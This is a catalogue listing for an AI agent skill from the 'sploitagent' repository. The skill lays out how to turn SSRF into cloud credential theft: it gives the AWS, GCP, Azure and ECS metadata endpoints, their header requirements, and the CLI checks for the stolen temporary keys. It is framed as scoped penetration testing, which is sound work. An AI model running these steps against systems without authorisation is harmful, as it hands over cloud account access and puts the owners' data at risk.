SSRF → cloud metadata → IAM credential theft
SkillCloud & infraEscalate SSRF to cloud credential theft via the instance metadata service (IMDS). Load when SSRF is confirmed AND the target runs on AWS/GCP/Azure. Signals: 169.254.169.254 reachable, cloud-hosted app, SSRF that can set arbitrary Host/headers, "metadata".
Instructions available. Your AI can read the instructions. Execution depends on the setup they require.
Account requirements not reviewed. Check the skill instructions before use; ahel provides instructions and does not run this skill.
Add ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.
Then ask your AI: use the SSRF → cloud metadata → IAM credential theft skill
What this skill tells your AI
The instructions your AI receives, as published by noorqureshi/sploitagent in skills/cloud/cloud-imds-ssrf/SKILL.md and read by ahel’s review.
When it applies
You have SSRF and the app runs on a cloud VM/container with an attached role. The metadata endpoint hands out temporary credentials to anything that can reach it from the instance.
Why it works
IMDS lives at a link-local IP (169.254.169.254) and trusts network position, not identity.
SSRF gives you that position, so the app fetches the instance's role credentials for you —
then you use them against the cloud API with the app's permissions.
Method
- AWS IMDSv1 (no token): SSRF to
http://169.254.169.254/latest/meta-data/iam/security-credentials/→ role name →.../security-credentials/<role>returnsAccessKeyId,SecretAccessKey,Token. - AWS IMDSv2 (token required): needs a PUT to get a token, then a header on the GET —
possible only if the SSRF can set method +
X-aws-ec2-metadata-tokenheader. Many SSRFs can't; note IMDSv2 as the mitigation if it blocks you. - GCP:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenwith headerMetadata-Flavor: Google(needs header-setting SSRF). - Azure:
http://169.254.169.254/metadata/identity/oauth2/token?...withMetadata: true. - Use the creds (in scope only): configure the CLI with the temp key/secret/token and run
read-only calls (
aws sts get-caller-identity,s3 ls) to prove impact — don't touch data.
Gotchas
- IMDSv2/
Metadataheader requirements defeat header-less SSRF — that's a finding (says v2 is on), not a dead end. - Temp creds expire fast; grab
sts get-caller-identityimmediately as proof. - Containers may hit the ECS task metadata (
169.254.170.2) instead of EC2 IMDS.
Verify success
aws sts get-caller-identity (or GCP/Azure equivalent) returns the instance role identity
using credentials pulled through the SSRF.
References
PortSwigger SSRF labs; AWS IMDSv2 docs; "SSRF to cloud takeover" write-ups.
Signals
- GitHub stars
- 20
- Forks
- 7
- Last commit
- Sep 2026
Advanced
- Item type
- skill
- Key
cloud-imds-ssrf- Source
- github.com/noorqureshi/sploitagent
github.com/noorqureshi/sploitagent
Related picks
Skill · microsoft
The pick for Infrahttp-to-https
Skill · thedaviddias
The pick for Infraowasp-security
Skill · davila7
The pick for Web (OWASP)owasp-web
Skill · nahid-sparktales
The pick for Web (OWASP)aws-architecture-diagram
Skill · awslabs
The pick for AWSaws-health-events
Skill · aws
The pick for AWS